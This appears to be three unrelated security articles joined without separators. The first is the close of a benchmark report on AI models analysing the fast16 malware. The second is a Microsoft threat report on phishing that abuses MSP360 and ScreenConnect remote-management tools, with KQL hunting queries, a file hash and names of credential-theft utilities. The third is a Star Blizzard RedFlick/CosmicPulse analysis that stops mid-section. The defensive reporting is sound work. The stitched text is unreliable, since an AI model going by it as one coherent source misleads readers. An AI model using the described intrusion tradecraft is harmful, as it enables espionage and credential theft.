When GPT-5.6 Sol was introduced, we seized the opportunity to evaluate it against our real-world benchmark. As the name implies, we expected incremental improvement from GPT-5.5 but instead found the model operating in a league of its own, with all three GPT-5.6 Sol runs completing the benchmark at different effort levels.

Sol was far from infallible. Its runs declared checkpoints clean or complete before later review found meaningful problems. The distinctive pattern was what happened next. Sol repeatedly responded to a local failure with a structural fix, reassessing the quality-control process that had let the mistake through and building scaffolding, such as codifying file hashes for even routine operations, to keep entire classes of failure from recurring.

The xhigh run provides the clearest example because its error began with a valid observation. fast16 contains a program of 101 byte-pattern rules that recognize locations inside an executable, capture addresses, replace code, and repair the executable metadata those changes require. Replaying that rule program across a larger software collection, Sol found that some rules fired not only in LS-DYNA, the engineering package fast16 targets, but also in MOHID and PKPM, two applications built from a similar Fortran lineage. It proposed that fast16 might be a general compatibility component rather than a tool engineered for sabotage.

The collisions were real, and we made similar observations early in our own investigation, but the explanation gave too much weight to the mere presence of matches. The model corrected course by demanding greater rigor of itself, asking whether the matches produced a meaningful modification sequence. In LS-DYNA they did. In MOHID and PKPM they produced only haphazard fragments, often triggered by generic compiler-generated code.

What first looked like broad compatibility was better explained as collateral risk from loose rules. Sol not only self-corrected but found better footing for that correction than we did. It then withdrew the compatibility hypothesis, preserved the valid measurements, restored the LS-DYNA modification mechanism as the authoritative account, and marked the rejected branch as historical provenance so later analysis would not inherit it.

5.6 Sol’s performance has pushed the boundary of the possible for automation in cyber threat investigations. Given its ready availability, we are interested in seeing how these capabilities enable the practitioner ecosystem to advance the state of the art in the same manner as alternate research disciplines like math and physics.

Project-Scale Recovery

What separated the completed runs from the rest was not technical insight, error detection, or willingness to revise. Every cohort supplied examples of each. The recurring difference was the scale at which recovery occurred. Across a long-horizon investigation, the completed runs did more than correct the sentence or script in front of them. They rebuilt the part of the project that later work would trust, in a repeatable pattern:

1. Withdraw the contradicted claim rather than softening its wording while continuing to rely on it.
2. Map the blast radius, identifying every conclusion, artifact, and test that depends on the disputed result.
3. Repair the cause, correcting the analysis or the quality-control gap that let the error through.
4. Carry the correction through the files another analyst or later stage will actually use.
5. Reopen the artifacts and run a check capable of disproving the corrected claim.
6. Separate work that blocks the current conclusion from uncertainty that can be disclosed and deferred.

That last step is easy to underestimate. An investigation can fail by stopping too early, and it can also fail by expanding forever. Deciding which unresolved questions block a conclusion is what convergence means in this benchmark.

This is not a single new reasoning faculty. It is the coordination of familiar capabilities over time, spanning correction, scope control, verification, state management, synthesis, and stopping judgment. The evidence supports project-scale recovery as a common feature of the completed runs. It does not prove a permanent intelligence threshold, and looking only at finishers cannot explain why every other trajectory fell short. The number of runs per family is small, and operator involvement was consequential throughout. What survives those caveats is the modest formulation that the completed runs repeatedly re-established a trustworthy investigative state after later evidence destabilized it.

Notes on Cost

Across all experiments, our runs consumed more than 23 billion tokens across model families and effort levels. The aggregate cache read rate was 93.58%, translating to different discounting rates across providers. Our self-hosted GLM-5.2 run offers a floor for comparison, producing 267.41M tokens on a $100 budget and a decent level-1 attempt charitably comparable to some GPT-5.5 and Opus 4.7 performance.

What These Results Mean for Analysts

The practical lesson stops well short of replacement for senior reverse engineers. The strongest runs still made serious semantic errors, accepted weak quality controls, promoted work too early, and depended on operator review at consequential moments. The new capability is that some runs remained useful after those failures. They owned substantial investigative workstreams, recovered from invalidated theories, preserved the valid parts of earlier work, and continued into publication-oriented analysis without starting over.

That changes the role these systems can plausibly play. A weaker model may be valuable as a local copilot, explaining a function, testing a hypothesis, or drafting a section. The strongest observed runs could act more like supervised investigative agents, maintaining and repairing a larger body of work across days, artifacts, and changing evidence. The supervision qualifier remains essential. Humans defined the investigative objective, controlled evidence release, exposed important blind spots, decided what quality meant, and retained final publication authority.

The scale of the shift deserves emphasis. Reverse engineering and malware analysis have been kept from scaling for three decades by the scarcity of expert practitioners. That constraint does not disappear, since expert guidance still determines whether the work can be trusted, but a single expert supervising these systems can now expand their output by any metric we track.

Conclusion

The line the benchmark exposed ran between local competence and sustained ownership of an investigation, rather than between smarter and lesser models. GPT-5.5, GLM-5.2, and the Opus 4.x family frequently produced valuable analysis. GPT-5.6 Sol also made meaningful errors. What distinguished the completed runs was their repeated ability to recover and diffuse that correction throughout the whole project, rather than just confronting their immediate context.

Having completed this stage of our evaluations, we took the best candidate produced by 5.6 Sol High and put it through an extensive adversarial refinement process using an ensemble of models to produce the highest automatable quality of IDBs and investigation artifacts. We are sharing these so other researchers can verify the work output against the sample and build on them rather than start from the raw binary. We make no claim that it is perfect, only that it is the greatest level of automated refinement the most capable models achieved through proper methodology, repeated standard enforcement, and a lot of tokens burned.

That is a less dramatic claim than a new form of autonomous intelligence. It is also more useful. For defenders, the question that matters most is whether the models can reliably preserve and advance a trustworthy investigation. Once we can count on that, it’s up to us to redefine a greater scope of impact for a new frontier of cyber threat investigations.

Resources

fast16-idbs – Gold-Master IDA Databases

In July 2026, Microsoft Defender Experts observed phishing campaigns targeting organizations across multiple industries that distributed a masqueraded MSP360 Remote Monitoring and Management (RMM) installer through meeting invitations, PDF-themed lures, software update prompts, and other social-engineering content. Once executed, the legitimate MSP360 installer, distributed under a deceptive file name established remote management access on affected devices and enabled threat actors to gain an initial foothold using trusted administrative software.

Microsoft observed the MSP360 deployment being used to download and install a ConnectWise ScreenConnect client, creating a secondary remote-access channel that provided redundant access to compromised systems. Microsoft did not observe exploitation of ScreenConnect software itself; rather, threat actors abused legitimately obtained remote administration software to establish and maintain access. After access was established, threat actors used these remote administration channels to deploy additional tools and conduct post-compromise activity, including information collection and credential-access operations.

This activity highlights how threat actors continue to abuse legitimate remote administration software to blend into normal IT operations while maintaining persistent access and reducing detection opportunities. Microsoft Defender for Endpoint detects suspicious and uncommon remote-management activity, while the hunting queries and mitigations in this post can help organizations identify and restrict unapproved RMM use.

Attack chain overview

The observed multi-stage intrusion chain began when phishing lures delivered a legitimate, digitally signed MSP360 RMM v2.5.0.67 installer under deceptive filenames. Following successful User Account Control (UAC) elevation, the installer established MSP360 services for persistent access and leveraged the RMM agent to invoke PowerShell, download, and silently install ConnectWise ScreenConnect.

This effectively introduced a second remote administration channel on the compromised device, which the threat actor subsequently used to transfer and execute additional tooling supporting credential access, local data collection, and other post-compromise activity.

Initial Access: Phishing Campaign Delivering Masqueraded MSP360 RMM Installer

Microsoft observed multiple phishing campaigns that used a multi-stage delivery chain to distribute legitimate, digitally signed MSP360 RMM software (v2.5.0.67). Phishing emails directed users to actor-controlled landing pages that impersonated document-sharing portals, invitation workflows, Adobe Reader download pages, Zoom installation pages, and business collaboration platforms.

Upon user interaction, victims were redirected to download locations hosted on both attacker-controlled infrastructure and legitimate cloud services including Amazon S3, Cloudflare R2, Dropbox, GitLab, and Supabase. The downloaded executables used filenames crafted to resemble legitimate business content, meeting invitations, PDF documents, and software installers. Analysis of downloaded samples showed that many ultimately contained the same MSP360 RMM installer package despite appearing as different files to the victim.

MSP360 SHA256: 108ef7e628d7a20bd6241a5b57149e27a6061f467123eb64061975559f8f73dc

MSP360 SHA1: f34330d4c6e0aa978dc3af40360c14b31ad51127

Observed lure themes:

We have observed the threat actor using multiple social-engineering themes, including:

• Workplace meeting requests
• Zoom and Google Meet installation prompts
• Adobe Acrobat and PDF reader updates
• RSVP invitations and e-cards
• Job offer documents
• Document review and signature requests
• DHL and package-delivery themed content

Examples of observed filenames included:

• VIP_ECARD_INVITATION_rmm_v2.5.0.67_oid[redacted].exe
• ZoomSetup_Installation_v2.5.0.67_ oid[redacted].exe
• PDF Reader & Editor the Adobe Acrobatte_rmm_v2.5.0.67_ oid[redacted].exe
• RSVP_INVITATION_E_CARD_rmm_v2.5.0.67_ oid[redacted].exe
• SSA.GOV_STATEMENT_rmm_v2.5.0.67_ oid[redacted].exe

The campaign relied on a diverse set of payload-hosting mechanisms. Microsoft observed the actor distributing the payload through attacker-controlled domains, websites assessed to be compromised, and legitimate cloud-hosted services. Cloud-hosted services used for payload distribution included Amazon S3, Cloudflare R2, Dropbox, GitLab, and Supabase.

This approach enabled the actor to rapidly rotate delivery infrastructure while continuing to distribute the same MSP360 installer using different lure themes and filenames.

RMM platforms are attractive to threat actors because they are designed to provide administrators with broad remote management capabilities across managed endpoints, including remote command execution, software deployment, file transfer, and persistent service-based access. When abused, these same capabilities can give threat actors a flexible post-compromise channel for maintaining access, deploying additional tooling, and conducting follow-on activity while blending in with legitimate remote administration workflows.

MSP360 RMM installation and foothold establishment

After victims downloaded and executed the masqueraded MSP360 installer, the binary launched from the user’s Downloads directory under a filename designed to resemble a legitimate business document.

The installer subsequently dropped multiple installation components, including System.dll, nsExec.dll, and UAC.dll, to the following folder paths before relaunching itself through an elevation workflow generated by the installer framework. Next, the installer invoked a Windows User Account Control (UAC) elevation workflow. In observed successful installations, the process continued with elevated privileges, allowing deployment of MSP360 components and services. In unsuccessful installations, the elevation did not complete, and deployment terminated before the software was fully installed.

Following elevation, the installer initiated the MSP360 installation workflow and recorded installation status messages using Windows eventcreate.exe. The installer generated “Begin installation” and “End installation. MSP360 de Success.” events under the event source: MSP360 RMM Agent installer. The installer dropped multiple MSP360 plugins and binaries within the installation directory: C:\Program Files\RMM Agent\.

The installer also performed prerequisite discovery by enumerating installed .NET runtimes using: dotnet –list-runtimes. To establish long-term access on the affected device, the installer registered two Windows services: RMM.Agent.exe & RMM.Agent.Launcher.exe. Microsoft observed events indicating stopping any existing MSP360 services and installing new MSP360 services.

In addition to service-based persistence, the installer created registry-based autorun entries for MSP360 user interface components, ensuring the tray applications would automatically launch when users signed in.

The installation routine also modified the Windows Firewall configuration by creating an inbound allow rule for the MSP360 agent. The rule allowed inbound UDP traffic to C:\Program Files\RMM Agent\RMM.Agent.exe on port 48678. This configuration enabled network communications required by the remote management platform.

Not every execution of the installer resulted in a successful deployment. In some instances, the installer was launched by the user and began its installation routine but subsequently attempted to obtain elevated privileges through User Account Control (UAC). When elevation was denied or aborted, the installation terminated before completing deployment of the MSP360 RMM components. The process execution flow showed installation initialization activity followed by events indicating that administrative privileges were required, with no subsequent evidence of the persistence mechanisms, services, or remote management functionality observed during successful installations.

Remote command execution from MSP360 Agent and ScreenConnect deployment

Following successful installation of MSP360 RMM, the newly installed RMM.Agent.exe service launched PowerShell. The PowerShell process modified the execution policy for the current session and executed Invoke-WebRequest commands to download an MSI package named ClientSetup.msi from actor-controlled infrastructure. The downloaded package was then installed silently through msiexec.exe using the /qn switch, eliminating visible user interaction. This installation activity resulted in the deployment of a ConnectWise ScreenConnect client on the compromised endpoint, including ScreenConnect.ClientService.exe, ScreenConnect.WindowsClient.exe, and supporting components.

The installer additionally created Windows service registrations, application uninstall entries, and authentication-related registry modifications associated with the newly deployed ScreenConnect client.

Following deployment, the ScreenConnect client service launched with configuration parameters referencing actor-controlled infrastructure and subsequently established successful outbound communications. The service then spawned ScreenConnect.WindowsClient.exe, providing an additional remote access channel independent of MSP360. Following establishment of the ScreenConnect session, the threat actor used ScreenConnect to transfer and stage additional executables in the following directories:

• C:\Users\%user%\OneDrive\Documents\ScreenConnect\Temp\
• C:\Users\%user%\Documents\ScreenConnect\Temp\

Examples of frequently observed files included:

• WindVerify.exe
• WindowsUpdate.exe
• WindowsSecurity_PIN.exe
• WindowsSecurity_Password.exe
• WindowsPassKey.exe
• SCHider.exe
• PIN.exe
• phonepc.exe
• DefenderDT.exe
• DefenderControl.exe
• phonelinkupdate.exe
• PhoneLinkPrompt.exe
• Passwords.EXE
• OpenCamera.exe
• open_phone_link.exe
• MouseHiderGUI.exe
• HideUL.exe
• HideMouseApp.dll
• HideMouse.exe
• HideFromControlPanel.exe
• HideCursor.exe
• BannerHider.exe
• WebBrowserBookmarksView.exe
• WebBrowserPassView.exe

These files were among the most frequently observed utilities delivered by the threat actor following establishment of a ScreenConnect session. Several filenames were intentionally chosen to resemble legitimate Windows, Microsoft Defender, Phone Link, and security-related components, likely to reduce user suspicion and blend into normal operating system activity. These utilities were observed during post-compromise activity and were used to support subsequent operations on affected systems. Several of the observed tools are commonly associated with credential access, information collection, execution of additional payloads, and efforts to reduce defender visibility.

The execution of these files occurred through ScreenConnect’s built-in RunFile functionality, which allows files to be transferred to and executed on managed endpoints. This activity demonstrates how the threat actor leveraged a legitimate MSP360 RMM deployment to establish an initial foothold before deploying ConnectWise ScreenConnect as a secondary remote access platform. The combination of MSP360 and ScreenConnect provided the threat actor with redundant remote administration channels and enabled the transfer, execution, and management of additional tooling during subsequent stages of the intrusion.

The threat actor subsequently used these remote access platforms to facilitate follow-on activities including information collection, credential access, and the deployment of additional utilities on compromised systems.

Microsoft also observed separate activity during July in which FaronicsDeployAgent.exe, a legitimate deployment and remote access application, was used in a similar manner to MSP360 RMM. In this activity, the threat actor leveraged FaronicsDeployAgent.exe as the initial remote management platform and subsequently used it to download and install ScreenConnect. This observation demonstrates that the deployment of ScreenConnect was not limited to MSP360-based intrusions, with additional legitimate remote administration software also being leveraged to establish remote access and facilitate ScreenConnect installation.

Attribution

Microsoft has not attributed this activity to a named threat actor. The campaigns are tracked as unattributed activity.

Mitigation and protection guidance

Microsoft recommends the following actions to help organizations reduce their exposure to this activity. Check the recommendations card for the deployment status of monitored mitigations.

• Govern approved RMM tools: For approved RMM systems used in your environment, enforce security settings where possible to implement multi-factor authentication (MFA).
• Restrict unauthorized software: Use Application Control for Windows to create policies to block unapproved IT management tools. Both solutions include functionality to block specific software publisher certificates:
  • Application Control for Windows file rule levels allow administrators to specify the level at which they want to trust their applications, including listing certificates as untrusted.
  • AppLocker’s publisher rule condition is available for files that are digitally signed, which can enable organizations to block non-approved RMM instances that include publisher information.
• Block specific signed applications: Microsoft Defender for Endpoint also provides functionality to block specific signed applications using the block certificate action.
• Consider searching for unapproved RMM software installations (see the Advanced hunting section). If an unapproved installation is discovered, reset passwords for accounts used to install the RMM services. If a system-level account was used to install the software, further investigation may be warranted.
• Strengthen endpoint protection: Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections provide near-instant, automated protection against new and emerging threats.
• Investigate unauthorized installations: Turn on the following attack surface reduction rule to block or audit activity associated with this threat:
  • Use advanced protection against ransomware
  • Block process creations originating from PsExec and WMI commands. Some organizations may experience compatibility issues with this rule on certain server systems but should deploy it to other systems to prevent lateral movement originating from PsExec and WMI

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Threat intelligence reports

Microsoft customers can use Microsoft Defender XDR Threat Analytics and related Microsoft threat intelligence reporting to stay current on the malicious activity, indicators, detection coverage, and recommended response actions associated with this campaign. These reports provide investigation context, protection guidance, and updated intelligence that security teams can use to prevent, mitigate, or respond to related activity in their environments.

Advanced hunting

// Run this query to identify the presence of MSP360 RMM agent

let MSP360RMM = "108ef7e628d7a20bd6241a5b57149e27a6061f467123eb64061975559f8f73dc";
DeviceFileEvents
| where Timestamp >= ago(30d)
| where SHA256 =~ MSP360RMM

// Run this query to identify the remote command execution from MSP360 RMM Agent

DeviceProcessEvents
| where Timestamp >= ago(30d)  
| where (InitiatingProcessVersionInfoCompanyName == "MSP360" and ProcessCommandLine == "\"powershell.exe\"") or ( InitiatingProcessCommandLine == "\"powershell.exe\"" and ProcessCommandLine has_all ("msiexec.exe","\\Temp\\",".msi") and InitiatingProcessParentFileName == "RMM.Agent.exe")

// Run this query to identify the suspicious network connections from the threat actor’s use of ScreenConnect

let MaliciousURLs =  DeviceNetworkEvents
| where Timestamp >= ago(30d)
| where InitiatingProcessCommandLine == "\"powershell.exe\""
| where InitiatingProcessParentFileName == "RMM.Agent.exe"
| where isnotempty(RemoteUrl)
| distinct  RemoteUrl;
DeviceNetworkEvents
| where Timestamp >= ago(30d)
| where InitiatingProcessFileName has_any ( "ScreenConnect.ClientService.exe","ScreenConnect.WindowsClient.exe","ScreenConnect.Client.exe")
| where isnotempty(RemoteUrl)
| where RemoteUrl in (MaliciousURLs)

// Run this query to identify the suspicious payloads dropped and launched by the threat actor’s use of ScreenConnect

DeviceProcessEvents
| where Timestamp >= ago(30d)  
| where InitiatingProcessCommandLine  has_all ("ScreenConnect.WindowsClient.exe", "RunFile","\\Documents\\","\\Temp\\")

MITRE ATT&CK Techniques observed

This campaign has exhibited use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.

Resource Development

• T1583.001 Acquire Infrastructure: Domains | Domains were used to host phishing landing pages, payload delivery infrastructure, and ScreenConnect services associated with the campaign.
• T1583.006 Acquire Infrastructure: Web Services | The threat actor leveraged legitimate cloud-hosting providers including Amazon S3, Cloudflare R2, Dropbox, GitLab, and Supabase for payload distribution.

Initial Access

• T1566.002 Phishing: Spearphishing Link | Victims received workplace meeting, Zoom, Google Meet, invitation, RSVP, PDF, and Adobe-themed phishing emails containing links that redirected to malicious payload download locations.
• T1204 User Execution | Victims downloaded and executed a masqueraded MSP360 installer distributed under deceptive filenames designed to resemble legitimate business documents and software.

Execution

• T1059.001 Command and Scripting Interpreter: PowerShell | The MSP360 RMM.Agent.exe service launched PowerShell to download and install ConnectWise ScreenConnect.
• T1059.003 Command and Scripting Interpreter: Windows Command Shell | Installation workflows used cmd.exe for logging, prerequisite checks, file management, and installation-related tasks.
• T1218.007 System Binary Proxy Execution: Msiexec | The downloaded ClientSetup.msi package was installed silently using msiexec.exe /qn.

Persistence

• T1543.003 Create or Modify System Process: Windows Service | MSP360 and ScreenConnect were installed as Windows services to establish persistent access.
• T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | MSP360 created registry Run entries to automatically launch tray application components at user logon.

Defense Evasion

• T1036 Masquerading | The actor distributed legitimate MSP360 software under filenames designed to resemble meeting applications, invitations, PDFs, and business documents.
• T1036.005 Match Legitimate Name or Location | Follow-on tooling used filenames that closely resembled legitimate Windows, Microsoft Defender, security, and Phone Link applications.
• T1112 Modify Registry | MSP360 and ScreenConnect modified registry locations associated with services, persistence, credential provider components, protocol handlers, and uninstall entries.

Command and Control

• T1219 Remote Access Software | The threat actor abused legitimate remote administration software including MSP360 RMM and ConnectWise ScreenConnect to maintain access to victim systems.
• T1105 Ingress Tool Transfer | MSP360 downloaded ScreenConnect, while the threat actor’s use of ScreenConnect was subsequently used to transfer and execute additional tooling on compromised endpoints.
• T1071.001 Application Layer Protocol: Web Protocols | PowerShell and ScreenConnect communicated with actor-controlled infrastructure over HTTP/HTTPS.
• T1573 Encrypted Channel | Payload retrieval and remote access communications occurred over encrypted network channels.
• T1102 Web Service | Multiple cloud-hosted web services were used throughout the delivery and command-and-control infrastructure.

Discovery

• T1082 System Information Discovery | The installer enumerated installed .NET runtimes using dotnet –list-runtimes during the installation workflow.

Collection

• T1005 Data from Local System | Additional tooling delivered through ScreenConnect was observed in post-compromise activity and used to collect information from victim devices.

Indicators of compromise (IOCs)

Observed indicators associated with this campaign are listed below.

Learn More

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

• Learn more about securing Copilot Studio agents with Microsoft Defender 
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation
• How Microsoft discovers and mitigates evolving attacks against AI guardrails
• Prompt injection protection in Microsoft Defender for Office 365 – official documentation of the prompt injection protection in Microsoft Defender for Office 365.
• How Microsoft discovers and mitigates evolving attacks against AI guardrails | Microsoft Security Blog
• Manipulating AI memory for profit: The rise of AI Recommendation Poisoning | Microsoft Security Blog – a related example of an AI-era technique observed in email traffic
• Defending the inbox against prompt injection attacks | Microsoft Defender for Office 365 Blog – feature announcement introducing prompt injection protection in Microsoft Defender for Office 365.
• Learn how Microsoft is reimagining the SOC for the agentic era with ISOC in Microsoft Defender

The post Phishing Abuses RMM Tools for Persistent Access appeared first on Microsoft Security Blog.

Since January 2026, Microsoft has observed Russian state threat actor Star Blizzard evolve their detection evasion capabilities through large-scale phishing campaigns, the use of accounts on compromised websites, and a novel malware delivery technique that Microsoft tracks as “RedFlick”. These changes represent a notable shift in the actor’s operational tradecraft and support ongoing cyberespionage activity targeting Ukrainian individuals and institutions as well as international non-government organizations (NGOs), Western think tanks, governments, and other organizations associated with international policy—particularly those with a nexus in supporting Ukraine.

As part of this evolution, Star Blizzard adopted RedFlick, a malware delivery technique that helps evade detection by initiating a set of scheduled tasks to deploy the actor’s custom backdoor, CosmicPulse. This technique is a notable departure from the actor’s previous use of ClickFix-based infection chains which required victims to complete multiple actions before CosmicPulse could be installed. By contrast, the RedFlick infection flow only requires a single user interaction, reducing friction in the compromise process. Combined with the actor’s shift toward large-scale phishing operations during the same period, these changes likely improve Star Blizzard’s ability to reach more targets, evade detection, and increase the likelihood of successful compromise.

This blog provides updated technical analysis of Star Blizzard’s tactics, techniques, and procedures (TTPs) observed throughout 2026, building on our 2025 and 2023 blogs. It details the actor’s evolving phishing, persistence, and malware delivery techniques, and provides recommendations, indicators of compromise (IOCs), detections, and hunting guidance to help organizations identify and defend against RedFlick-related activity. As with any observed nation-state actor activity, Microsoft directly notifies customers that have been targeted or compromised, providing them with recommendations and mitigations to secure their accounts.

Star Blizzard TTPs observed in 2026

Star Blizzard is attributed by the United States Cybersecurity and Infrastructure Agency (CISA) as subordinate to the Russian Federal Security Service Centre (FSB) Centre 18. Star Blizzard periodically overhauls their TTPs to avoid detection, often in response to public exposure of the actor’s campaigns that have involved targeted social engineering through messaging apps and credential theft. Since Google Threat Intelligence Group published its report on Star Blizzard’s COLDCOPY malware in October 2025, Microsoft observed the actor refine their initial access and evasive techniques to include:

• Moving away from targeted spear phishing to large-scale initial contact phishing campaigns
• Using compromised websites to create accounts to send phishing emails
• Updating malware deployment to facilitate the installation of a CosmicPulse downloader

As of the writing of this blog, the RedFlick campaigns have targeted Ukrainian individuals and institutions, as well as international NGOs, think tanks, governments, and financial institutions that have supported Ukraine politically or financially. Microsoft has observed this activity affect over 100 organizations primarily in the United States and United Kingdom, consistent with Star Blizzard’s longstanding targeting priorities.

Microsoft continues to observe some previously reported Star Blizzard phishing techniques throughout 2026; however, the TTPs discussed in this blog have been associated primarily with the actor’s new larger-scale phishing campaigns.

Larger-scale initial contact phishing

Microsoft previously reported on Star Blizzard’s spear-phishing campaigns observed during 2023-2024. During these operations, the actor continued to rely on their conventional TTPs such as initiating email contact with targets before sending a follow-up containing a malicious link, to actor-controlled/compromised infrastructure purposed for credential theft, while impersonating known political or diplomatic figures to lure victims into responding.

In 2026, Microsoft observed Star Blizzard shift from exclusively targeted spear-phishing operations to also conducting larger-scale phishing campaigns. The larger-scale phishing operations were observed at a scale not previously seen from the actor, ranging from tens to hundreds of email messages per campaign. This change likely reflects the actor’s adoption of a mass-mailing phishing platform to automate campaign execution and increase the likelihood of successful compromises by significantly expanding the initial targeting pool. The progression of these campaigns is summarized in the following timeline, including examples of Star Blizzard’s phishing subject lines, targeting details, and the malware delivery methods observed across each campaign:

• January
  • “Повідомлення про результати податкової перевірки” (Notice of tax audit results) – Campaign targeting unidentified Ukraine persons with an attached RedFlick lure.
• February
  • “списання з Вашого рахунку за оплату штрафу” (Debiting from your account for payment of a fine) – Campaign targeting unidentified Ukraine persons with an attached RedFlick lure.
• March
  • “Invitation to an IISS [Private Roundtable/Closed-Door Discussion] on European Security” – Initial contact campaign targeting government officials, security researchers, academia, media, and NGOs. Respondents received a RedFlick lure attachment.
  • “Invitation to a Closed CES Roundtable Discussion” – Initial contact campaign targeting US and Europe technology-sector organizations. Respondents received a RedFlick lure attachment.
  • “Atlantic Council Closed-Door Strategic Discussion” – Initial contact campaign targeting government officials, foreign policy practitioners, security researchers, academia, media, and NGOs. Respondents received a link to DarkSword iOS backdoor installation.
• April
  • “Closed-Door Online Session on Global Capital Allocation & M&A” – Initial contact campaign targeting international financial organizations and researchers. Respondents received a RedFlick lure attachment.
• May
  • “Future of Peace Operations Forum – A Closed Strategic Dialogue” – Initial contact campaign targeting diplomatic and multilateral organizations. Respondents received a RedFlick lure attachment.
  • “Future of Liberty Forum” – Initial contact campaign targeting employees of a US-based think tank. Respondents received a RedFlick lure attachment.
• June
  • “Invitation to the MAMA Summit on the Current Situation Surrounding the Ukrainian Crisis” – Initial contact campaign targeting incumbent/former diplomatic staff. Respondents received a RedFlick lure attachment.
  • “Invitation to the Chatham House London Conference 2026 – 9 July 2026” – Initial contact campaign targeting think tanks, NGOs, and national parliamentary. Respondents received a RedFlick lure attachment.
• July
  • “Thought you might find this USUBC roundtable of interest” – Initial contact campaign targeting think tanks, NGOs, and Ukraine civil society. Respondents received a RedFlick lure attachment.
  • “Інформація щодо тимчасового відключення водопостачання” (Information about temporary water supply shutdown) – Targeted Kyiv-based hotels with an attached RedFlick lure.
• August
  • “Payment Advice Note from 06.08.2026” – Targeted employees of an international financial organization with an attached RedFlick lure.

Once a recipient responds to the initial phishing email, Star Blizzard typically sends a follow-up message containing a password-protected RAR or ZIP archive. The archive contains files that initiate the RedFlick infection flow. The password is included as an image in the follow-up email shown in Figure 1, along with additional examples of Star Blizzard follow-up emails below:

Since January 2026, Microsoft observed at least 13 distinct large-scale phishing campaigns targeting primarily NGOs, think tanks, and government organizations worldwide. The earliest campaigns, observed between January and February, targeted unspecified users of the Ukraine email provider Ukr.net. These emails impersonated Ukrainian authorities and were themed as notifications of a tax audit or outstanding fine.

Beginning in March 2026, Star Blizzard expanded targeting outside of Ukraine. Subsequent campaigns frequently used lures themed as invitations to conferences or events purportedly organized by a reputable think tank or NGO. Microsoft also observed the actor target multiple individuals within the same organization, with phishing emails often crafted to appear as internal communications originating from the targeted organization itself. The actor’s shift from Ukraine-focused operations to global targets could indicate Star Blizzard initially targeted Ukraine to test their new capabilities.

The large-scale campaigns have demonstrated capabilities previously unassociated with Star Blizzard. For example, a campaign observed in mid-August 2026 employed steganography to conceal identifiers. Throughout 2026, Star Blizzard has also continued to develop additional operational capabilities. Notably, ProofPoint reported in March that the actor had targeted vulnerable Apple iOS devices to deploy the DarkSword backdoor.

Creating accounts on compromised websites

Since March 2026, Star Blizzard has made another notable change to their TTPs to support the higher-volume phishing operations, using accounts created on compromised websites to send phishing emails to targets. This change coincided with the actor’s shift to larger-scale phishing campaigns and has been observed almost exclusively in support of these operations. Previously, the actor would create accounts on free email services (predominantly using Protonmail and Microsoft consumer accounts) to impersonate an individual that would be well known to the prospective target, whether it was a political figure, academic, or former diplomat. In the large-scale campaigns, Star Blizzard has used accounts created on websites hosted on CPanel and WordPress, using the same account name across multiple website domains. Microsoft Threat Intelligence assesses with high confidence that these websites have been compromised by Star Blizzard for this purpose.

Updating malware delivery and installation TTPs

Between January and August 2026, Microsoft observed multiple waves of Star Blizzard phishing campaigns alongside notable changes in the actor’s initial access TTPs, particularly the use of RedFlick scheduled tasks. During this period, Microsoft observed three significant shifts in the threat actor’s delivery techniques.

From ClickFix to VHDX

In mid-January 2026, Microsoft observed the use of a malicious Virtual Hard Disk v2 (VHDX), delivered through a phishing email containing a password-protected ZIP file. The VHDX file ships a malicious LNK file disguised as a PDF document, alongside a hidden directory containing a BAT script and a legitimate decoy PDF.

When the victim opens the LNK file, conhost.exe is launched in a hidden window and cmd.exe is subsequently spawned to execute the embedded BAT script:

The BAT file opens the decoy PDF and invokes SSH.exe with PermitLocalCommand enabled, ultimately downloading and executing a remotely hosted MSI installer:

In multiple campaigns, Microsoft observed an MSI installer creating a scheduled task that uses control.exe to download and execute a remotely hosted CosmicPulse downloader masquerading as a Control Panel applet (CPL). Unlike earlier campaigns that relied on ClickFix lures and user interaction, this approach relies on compiling the CosmicPulse downloader as a Control Panel applet DLL.

The shift from interactive user execution to remote execution and masquerading as a CPL item highlights an evolution in both persistence and defense evasion techniques.

CosmicPulse downloader

The Control Panel applet DLL is a downloader with the sole purpose of downloading and installing a version of CosmicPulse, a malicious Python backdoor, on the target device. The downloader is also known publically as NOROBOT or BAITSWITCH.

Similar to previous versions, this downloader downloads, persists, and executes a version of CosmicPulse on the infected device. Upon execution, it downloads two ZIP files and stores them on disk. It then writes an encrypted AES key to the HKEY_CURRENT_USER\Software\Classes\.mollis registry key. One ZIP file contains a Python 3.8 64-bit package and a Python file that serves as the CosmicPulse bootstrapper. The bootstrapper reads the encrypted key from the registry, recovers it using an embedded key in AES-ECB mode, and then uses the recovered key to decode the CosmicPulse payload (also known as YESROBOT) contained in the second ZIP file. The below image shows the process of the CosmicPulse installation.

Since January 2026, Microsoft has observed the CosmicPulse backdoor going through various little changes to circumvent existing signatures. However, the capabilities and purpose of this backdoor remain the same as described in previous articles.

Persistence through multiple scheduled tasks

In April 2026, Microsoft observed Star Blizzard changing persistence tactics to include RedFlick scheduled tasks. Whereas a malicious MSI file installed a single scheduled task in January—by April, the actor’s MSI installer created three scheduled tasks masquerading as legitimate network components, each with their own purpose. The TTPs have overlaps with the spear-phishing campaigns reported by the Digital Security Lab Ukraine (DLUA) in June 2026. In at least one incident, Microsoft has observed either the first or third task deploying an instance of CosmicPulse on the infected machine.

Task 1 – Registration beaconing and dynamic DLL execution task

The first task masquerades as a legitimate Internet Quality Test Connection task. The scheduled command serves two purposes. First, it sends a UTF-16 and Base64-encoded string containing the network or computer name and the username of the infected device to the C2 server. Thereby, it exfiltrates basic information about the infected host.

Second, an attacker-controlled DLL can be executed remotely through invoking Control_RunDLL from Shell32.dll. Microsoft was unable to obtain a variant of this payload. The task uses a WebDAV UNC path to access the remote payload, allowing the resource to be retrieved over HTTP rather than through a conventional SMB network share.

Task 2 – Supporting task

